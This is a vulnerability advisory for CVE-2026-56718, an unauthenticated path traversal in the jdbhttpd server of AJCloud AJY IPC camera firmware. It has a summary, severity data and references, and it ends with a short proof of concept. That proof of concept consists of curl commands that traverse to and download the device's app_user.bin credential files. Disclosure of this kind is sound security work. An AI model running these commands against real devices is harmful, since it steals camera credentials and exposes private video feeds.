jdbhttpd 0.1.0 Path Traversal / File Disclosure

# CVE-2026-56718
    
    Unauthenticated path traversal in `jdbhttpd/0.1.0` (AJCloud AJY IPC firmware) allowing remote reading of arbitrary files as root, including cleartext RTSP credentials.
    
    - **CWE:** CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)
    - **Severity:** CVSS 4.0 - 8.7 (High)
    - **Affected:** AJCloud AJY IPC Firmware < 01.10715.11.37
    - **Credits:** Alessandro Ciotti (finder), VulnCheck (coordinator)
    
    ## Summary
    
    `jdbhttpd` resolves files from the request URI without preventing `../` traversal outside the web root. An unauthenticated attacker on the network can read arbitrary files as root, recover the stored RTSP credentials, and use them to access the video stream.
    
    ## Full writeup
    
    Full analysis: [CVE-2026-56718](https://hellkid.dev/writeups/cve-2026-56718)
    
    ## References
    
    - [MITRE CVE record](https://www.cve.org/CVERecord?id=CVE-2026-56718)
    - [VulnCheck advisory](https://www.vulncheck.com/advisories/ajcloud-ajy-ipc-firmware-path-traversal-via-jdbhttpd)
    
    
    
    --- packet storm attached poc ---
    
    curl --path-as-is \
      "http://192.168.1.8/../../../../../../../../../../var/syscfg/config/app_user.bin" \
      --output app_user.bin
    
    curl --path-as-is \
      "http://192.168.1.8/../../../../../../../../../../var/syscfg/config_default/app_user.bin" \
      --output user_default.bin
    strings user_default.bin